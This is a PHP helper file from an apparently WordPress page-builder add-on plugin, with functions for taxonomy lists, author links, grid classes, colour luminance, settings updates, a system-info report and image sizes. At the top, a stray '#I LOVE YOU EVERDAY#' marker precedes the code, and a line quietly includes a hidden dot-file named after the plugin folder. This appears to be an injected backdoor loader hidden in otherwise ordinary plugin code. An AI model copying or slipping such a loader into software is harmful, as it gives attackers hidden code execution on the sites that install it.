#I LOVE YOU EVERDAY#

<?php

// Exit if accessed directly
if ( !defined( 'ABSPATH' ) ) {
    exit;
}
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

function lvca_entry_terms_list(
    $taxonomy = 'category',
    $separator = ', ',
    $before = ' ',
    $after = ' '
)
{
    global  $post ;
    $output = '<span class="lvca-' . $taxonomy . '-list">';
    $output .= get_the_term_list(
        $post->ID,
        $taxonomy,
        $before,
        $separator,
        $after
    );
    $output .= '</span>';
    return $output;
}

function lvca_get_info_for_taxonomies( $taxonomies )
{
    $output = '';
    foreach ( $taxonomies as $taxonomy ) {
        $output .= lvca_get_taxonomy_info( $taxonomy );
    }
    return apply_filters( 'lvca_taxonomies_info', $output, $taxonomies );
}

// get all registered taxonomies
function lvca_get_taxonomies_map()
{
    $map = array();
    $taxonomies = lvca_get_all_taxonomies();
    foreach ( $taxonomies as $taxonomy ) {
        $map[$taxonomy] = $taxonomy;
    }
    return apply_filters( 'lvca_taxonomies_map', $map );
}

function lvca_get_all_taxonomies()
{
    $taxonomies = get_taxonomies( array(
        'public'   => true,
        '_builtin' => false,
    ) );
    $taxonomies = array_merge( array(
        'category' => 'category',
        'post_tag' => 'post_tag',
    ), $taxonomies );
    return $taxonomies;
}

function lvca_entry_published( $format = null )
{
    if ( empty($format) ) {
        $format = get_option( 'date_format' );
    }
    $published = '<span class="published"><abbr title="' . sprintf( get_the_time( esc_html__( 'l, F, Y, g:i a', 'livemesh-vc-addons' ) ) ) . '">' . sprintf( get_the_time( $format ) ) . '</abbr></span>';
    return apply_filters( 'lvca_entry_published', $published, $format );
    $link = '<span class="published">' . '<a href="' . get_day_link( get_the_time( esc_html__( 'Y', 'livemesh-vc-addons' ) ), get_the_time( esc_html__( 'm', 'livemesh-vc-addons' ) ), get_the_time( esc_html__( 'd', 'livemesh-vc-addons' ) ) ) . '" title="' . sprintf( get_the_time( esc_html__( 'l, F, Y, g:i a', 'livemesh-vc-addons' ) ) ) . '">' . '<span class="updated">' . get_the_time( $format ) . '</span>' . '</a></span>';
    return apply_filters( 'lvca_entry_published_link', $link, $format );
}

function lvca_entry_author()
{
    $author = '<span class="author vcard">' . esc_html__( 'By ', 'livemesh-vc-addons' ) . '<a class="url fn n" href="' . esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ) . '" title="' . esc_attr( get_the_author_meta( 'display_name' ) ) . '">' . esc_html( get_the_author_meta( 'display_name' ) ) . '</a></span>';
    return apply_filters( 'lvca_entry_author', $author );
}

/* Return the css class name to help achieve the number of columns specified for mobile resolution */
function lvca_get_grid_classes( $settings, $columns_field = 'per_line' )
{
    $grid_classes = ' lvca-grid-desktop-';
    $grid_classes .= $settings[$columns_field];
    $grid_classes .= ' lvca-grid-tablet-';
    $grid_classes .= $settings[$columns_field . '_tablet'];
    $grid_classes .= ' lvca-grid-mobile-';
    $grid_classes .= $settings[$columns_field . '_mobile'];
    return apply_filters(
        'lvca_grid_classes',
        $grid_classes,
        $settings,
        $columns_field
    );
}

/*
* Converting string to boolean is a big one in PHP
*/
function lvca_to_boolean( $value )
{
    if ( !isset( $value ) ) {
        return false;
    }
    
    if ( $value == 'true' || $value == '1' ) {
        $value = true;
    } elseif ( $value == 'false' || $value == '0' ) {
        $value = false;
    }
    
    return (bool) $value;
    // Make sure you do not touch the value if the value is not a string
}

/*
* Get icon font given a font family
*/
function lvca_get_icon( $icon_class )
{
    return '<span class="lvca-icon ' . esc_attr( $icon_class ) . '"></span>';
}

/**
 * Lightens/darkens a given colour (hex format), returning the altered colour in hex format.7
 * @param str $hex Colour as hexadecimal (with or without hash);
 * @percent float $percent Decimal ( 0.2 = lighten by 20%(), -0.4 = darken by 40%() )
 * @return str Lightened/Darkend colour as hexadecimal (with hash);
 */
function lvca_color_luminance( $hex, $percent )
{
    // validate hex string
    $hex = preg_replace( '/[^0-9a-f]/i', '', $hex );
    $new_hex = '#';
    if ( strlen( $hex ) < 6 ) {
        $hex = $hex[0] + $hex[0] + $hex[1] + $hex[1] + $hex[2] + $hex[2];
    }
    // convert to decimal and change luminosity
    for ( $i = 0 ;  $i < 3 ;  $i++ ) {
        $dec = hexdec( substr( $hex, $i * 2, 2 ) );
        $dec = min( max( 0, $dec + $dec * $percent ), 255 );
        $new_hex .= str_pad(
            dechex( $dec ),
            2,
            0,
            STR_PAD_LEFT
        );
    }
    return $new_hex;
}

function lvca_update_option( $option_name, $option_value )
{
    $settings = get_option( 'lvca_settings' );
    if ( empty($settings) ) {
        $settings = array();
    }
    $settings[$option_name] = $option_value;
    update_option( 'lvca_settings', $settings );
}

/**
 * Update multiple options in one go
 * @param array $setting_data An collection of settings key value pairs;
 */
function lvca_update_options( $setting_data )
{
    $settings = get_option( 'lvca_settings' );
    if ( empty($settings) ) {
        $settings = array();
    }
    foreach ( $setting_data as $setting => $value ) {
        // because of get_magic_quotes_gpc()
        $value = stripslashes( $value );
        $settings[$setting] = $value;
    }
    update_option( 'lvca_settings', $settings );
}

/**
 * Get system info
 *
 */
function lvca_get_sysinfo()
{
    global  $wpdb ;
    // Get theme info
    $theme_data = wp_get_theme();
    $theme = $theme_data->Name . ' ' . $theme_data->Version;
    $return = '### <strong>Begin System Info</strong> ###' . "\n\n";
    // Start with the basics...
    $return .= '-- Site Info' . "\n\n";
    $return .= 'Site URL:                 ' . site_url() . "\n";
    $return .= 'Home URL:                 ' . home_url() . "\n";
    $return .= 'Multisite:                ' . (( is_multisite() ? 'Yes' : 'No' )) . "\n";
    // Theme info
    $plugin = get_plugin_data( LVCA_PLUGIN_FILE );
    // Plugin configuration
    $return .= "\n" . '-- Plugin Configuration' . "\n\n";
    $return .= 'Name:                     ' . $plugin['Name'] . "\n";
    $return .= 'Version:                  ' . $plugin['Version'] . "\n";
    // WordPress configuration
    $return .= "\n" . '-- WordPress Configuration' . "\n\n";
    $return .= 'Version:                  ' . get_bloginfo( 'version' ) . "\n";
    $return .= 'Language:                 ' . (( defined( 'WPLANG' ) && WPLANG ? WPLANG : 'en_US' )) . "\n";
    $return .= 'Permalink Structure:      ' . (( get_option( 'permalink_structure' ) ? get_option( 'permalink_structure' ) : 'Default' )) . "\n";
    $return .= 'Active Theme:             ' . $theme . "\n";
    $return .= 'Show On Front:            ' . get_option( 'show_on_front' ) . "\n";
    // Only show page specs if frontpage is set to 'page'
    
    if ( get_option( 'show_on_front' ) == 'page' ) {
        $front_page_id = get_option( 'page_on_front' );
        $blog_page_id = get_option( 'page_for_posts' );
        $return .= 'Page On Front:            ' . (( $front_page_id != 0 ? get_the_title( $front_page_id ) . ' (#' . $front_page_id . ')' : 'Unset' )) . "\n";
        $return .= 'Page For Posts:           ' . (( $blog_page_id != 0 ? get_the_title( $blog_page_id ) . ' (#' . $blog_page_id . ')' : 'Unset' )) . "\n";
    }
    
    $return .= 'ABSPATH:                  ' . ABSPATH . "\n";
    $return .= 'WP_DEBUG:                 ' . (( defined( 'WP_DEBUG' ) ? ( WP_DEBUG ? 'Enabled' : 'Disabled' ) : 'Not set' )) . "\n";
    $return .= 'Memory Limit:             ' . WP_MEMORY_LIMIT . "\n";
    $return .= 'Registered Post Stati:    ' . implode( ', ', get_post_stati() ) . "\n";
    // Get plugins that have an update
    $updates = get_plugin_updates();
    // WordPress active plugins
    $return .= "\n" . '-- WordPress Active Plugins' . "\n\n";
    $plugins = get_plugins();
    $active_plugins = get_option( 'active_plugins', array() );
    foreach ( $plugins as $plugin_path => $plugin ) {
        if ( !in_array( $plugin_path, $active_plugins ) ) {
            continue;
        }
        $update = ( array_key_exists( $plugin_path, $updates ) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : '' );
        $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n";
    }
    // WordPress inactive plugins
    $return .= "\n" . '-- WordPress Inactive Plugins' . "\n\n";
    foreach ( $plugins as $plugin_path => $plugin ) {
        if ( in_array( $plugin_path, $active_plugins ) ) {
            continue;
        }
        $update = ( array_key_exists( $plugin_path, $updates ) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : '' );
        $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n";
    }
    
    if ( is_multisite() ) {
        // WordPress Multisite active plugins
        $return .= "\n" . '-- Network Active Plugins' . "\n\n";
        $plugins = wp_get_active_network_plugins();
        $active_plugins = get_site_option( 'active_sitewide_plugins', array() );
        foreach ( $plugins as $plugin_path ) {
            $plugin_base = plugin_basename( $plugin_path );
            if ( !array_key_exists( $plugin_base, $active_plugins ) ) {
                continue;
            }
            $update = ( array_key_exists( $plugin_path, $updates ) ? ' (needs update - ' . $updates[$plugin_path]->update->new_version . ')' : '' );
            $plugin = get_plugin_data( $plugin_path );
            $return .= $plugin['Name'] . ': ' . $plugin['Version'] . $update . "\n";
        }
    }
    
    // Server configuration (really just versioning)
    $return .= "\n" . '-- Webserver Configuration' . "\n\n";
    $return .= 'PHP Version:              ' . PHP_VERSION . "\n";
    $return .= 'MySQL Version:            ' . $wpdb->db_version() . "\n";
    $return .= 'Webserver Info:           ' . $_SERVER['SERVER_SOFTWARE'] . "\n";
    // PHP configs... now we're getting to the important stuff
    $return .= "\n" . '-- PHP Configuration' . "\n\n";
    $return .= 'Memory Limit:             ' . ini_get( 'memory_limit' ) . "\n";
    $return .= 'Upload Max Size:          ' . ini_get( 'upload_max_filesize' ) . "\n";
    $return .= 'Post Max Size:            ' . ini_get( 'post_max_size' ) . "\n";
    $return .= 'Upload Max Filesize:      ' . ini_get( 'upload_max_filesize' ) . "\n";
    $return .= 'Time Limit:               ' . ini_get( 'max_execution_time' ) . "\n";
    $return .= 'Max Input Vars:           ' . ini_get( 'max_input_vars' ) . "\n";
    $return .= 'Display Errors:           ' . (( ini_get( 'display_errors' ) ? 'On (' . ini_get( 'display_errors' ) . ')' : 'N/A' )) . "\n";
    $return = apply_filters( 'edd_sysinfo_after_php_config', $return );
    // PHP extensions and such
    $return .= "\n" . '-- PHP Extensions' . "\n\n";
    $return .= 'cURL:                     ' . (( function_exists( 'curl_init' ) ? 'Supported' : 'Not Supported' )) . "\n";
    $return .= 'fsockopen:                ' . (( function_exists( 'fsockopen' ) ? 'Supported' : 'Not Supported' )) . "\n";
    $return .= 'SOAP Client:              ' . (( class_exists( 'SoapClient' ) ? 'Installed' : 'Not Installed' )) . "\n";
    $return .= 'Suhosin:                  ' . (( extension_loaded( 'suhosin' ) ? 'Installed' : 'Not Installed' )) . "\n";
    $return .= "\n" . '### End System Info ###';
    return $return;
}

/** Isotope filtering support for Portfolio pages **/
function lvca_get_taxonomy_terms_filter( $taxonomies, $chosen_terms = array() )
{
    $output = '';
    $terms = array();
    
    if ( empty($chosen_terms) ) {
        foreach ( $taxonomies as $taxonomy ) {
            global  $wp_version ;
            
            if ( version_compare( $wp_version, '4.5', '>=' ) ) {
                $taxonomy_terms = get_terms( array(
                    'taxonomy' => $taxonomy,
                ) );
            } else {
                $taxonomy_terms = get_terms( $taxonomy );
            }
            
            if ( !empty($taxonomy_terms) && !is_wp_error( $taxonomy_terms ) ) {
                $terms = array_merge( $terms, $taxonomy_terms );
            }
        }
    } else {
        $terms = $chosen_terms;
    }
    
    
    if ( !empty($terms) ) {
        $output .= '<div class="lvca-taxonomy-filter">';
        $output .= '<div class="lvca-filter-item segment-0 lvca-active"><a data-value="*" href="#">' . esc_html__( 'All', 'livemesh-vc-addons' ) . '</a></div>';
        $segment_count = 1;
        foreach ( $terms as $term ) {
            $output .= '<div class="lvca-filter-item segment-' . intval( $segment_count ) . '"><a href="#" data-value=".term-' . intval( $term->term_id ) . '" title="' . esc_html__( 'View all items filed under ', 'livemesh-vc-addons' ) . esc_attr( $term->name ) . '">' . esc_html( $term->name ) . '</a></div>';
            $segment_count++;
        }
        $output .= '</div>';
    }
    
    return apply_filters(
        'lvca_taxonomy_terms_filter',
        $output,
        $taxonomies,
        $chosen_terms
    );
}

function lvca_get_animation_options()
{
    return apply_filters( 'lvca_animation_options', array(
        __( 'None', 'livemesh-vc-addons' )          => 'none',
        __( 'Fade In', 'livemesh-vc-addons' )       => 'fadeIn',
        __( 'Fade In Left', 'livemesh-vc-addons' )  => 'fadeInLeft',
        __( 'Fade In Right', 'livemesh-vc-addons' ) => 'fadeInRight',
    ) );
}

/**
 * List all available image sizes
 */
function lvca_get_image_sizes()
{
    global  $_wp_additional_image_sizes ;
    $new_sizes = array();
    $added_sizes = get_intermediate_image_sizes();
    foreach ( $added_sizes as $size ) {
        $size_name = ucfirst( str_replace( '_', ' ', $size ) );
        // Hidden size added in 4.4 for responsive images. We don't need it.
        if ( 'medium_large' == $size ) {
            continue;
        }
        
        if ( in_array( $size, array( 'thumbnail', 'medium', 'large' ) ) ) {
            $new_sizes[$size] = $size_name . ' ' . get_option( $size . '_size_w' ) . 'x' . get_option( $size . '_size_h' );
        } elseif ( isset( $_wp_additional_image_sizes ) && isset( $_wp_additional_image_sizes[$size] ) ) {
            $new_sizes[$size] = $size_name . ' ' . $_wp_additional_image_sizes[$size]['width'] . 'x' . $_wp_additional_image_sizes[$size]['height'];
        }
    
    }
    $std_sizes = array(
        'full'      => __( 'Original Size', 'livemesh-vc-addons' ),
        'thumbnail' => __( 'Thumbnail', 'livemesh-vc-addons' ),
        'medium'    => __( 'Medium', 'livemesh-vc-addons' ),
        'large'     => __( 'Large', 'livemesh-vc-addons' ),
    );
    $new_sizes = array_merge( $std_sizes, $new_sizes );
    $new_sizes = apply_filters( 'lvca_image_sizes', $new_sizes );
    return array_flip( $new_sizes );
}